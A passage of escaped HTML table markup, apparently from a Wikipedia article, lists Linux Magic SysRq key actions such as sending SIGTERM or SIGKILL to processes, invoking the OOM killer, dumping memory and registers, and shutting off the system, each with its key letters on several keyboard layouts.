style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;d&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;e&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;d&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Send the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/SIGTERM" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="SIGTERM"&gt;SIGTERM&lt;/a&gt;&amp;nbsp;signal to all processes except init (&lt;a href="http://en.wikipedia.org/wiki/Process_identifier" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Process identifier"&gt;PID&lt;/a&gt;&amp;nbsp;1)&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;e&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;.&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;e&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;&lt;span style="background-color: #ffff66;"&gt;Call oom_kill, which kills a process to alleviate an&amp;nbsp;&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Out_of_memory" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Out of memory"&gt;&lt;span style="background-color: #ffff66;"&gt;OOM&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: #ffff66;"&gt;&amp;nbsp;condition&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;&lt;span style="background-color: #ffff66;"&gt;f&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;&lt;span style="background-color: #ffff66;"&gt;u&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;&lt;span style="background-color: #ffff66;"&gt;f&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;When using Kernel Mode Setting, provides emergency support for switching back to the kernel's framebuffer console&lt;sup class="reference" id="cite_ref-2" style="line-height: 1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Magic_SysRq_key#cite_note-2" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none; white-space: nowrap;"&gt;&lt;span style="font-size: medium;"&gt;[3]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;g&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;i&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;g&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Output a terse help document to the console&lt;br /&gt;Any key which is not bound to a command should also do the trick&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;h&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;d&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;h&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Send the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/SIGKILL" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="SIGKILL"&gt;SIGKILL&lt;/a&gt;&amp;nbsp;signal to all processes except init&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;i&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;c&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;i&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Kill all processes on the current virtual console (Can be used to kill X and svgalib programs, see below)&lt;br /&gt;This was originally designed to imitate a&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Secure_Access_Key" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Secure Access Key"&gt;Secure Access Key&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;k&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;t&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;k&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Show a stack backtrace of all currently executing tasks&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;l&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;n&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;l&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Output current memory information to the console&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;m&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;m&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;,&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Reset the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Nice_(Unix)" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Nice (Unix)"&gt;nice&lt;/a&gt;&amp;nbsp;level of all high-priority and&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Real-time" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Real-time"&gt;real-time&lt;/a&gt;&amp;nbsp;tasks&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;n&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;b&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;n&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Shut off the system&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;o&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;r&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;o&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Output the current registers and flags to the console&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;p&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;l&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;p&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Display all active high-resolution timers and clock sources.&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;q&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;'&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;a&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Switch the keyboard from raw mode, the mode used by programs such as&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/X11" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="X11"&gt;X11&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Svgalib" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Svgalib"&gt;svgalib&lt;/a&gt;, to&amp;nbsp;&lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=XLATE&amp;amp;action=edit&amp;amp;redlink=1" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #cc2200; text-decoration: none;" title="XLATE (page does not exist)"&gt;XLATE&lt;/a&gt;&amp;nbsp;mode&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;r&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 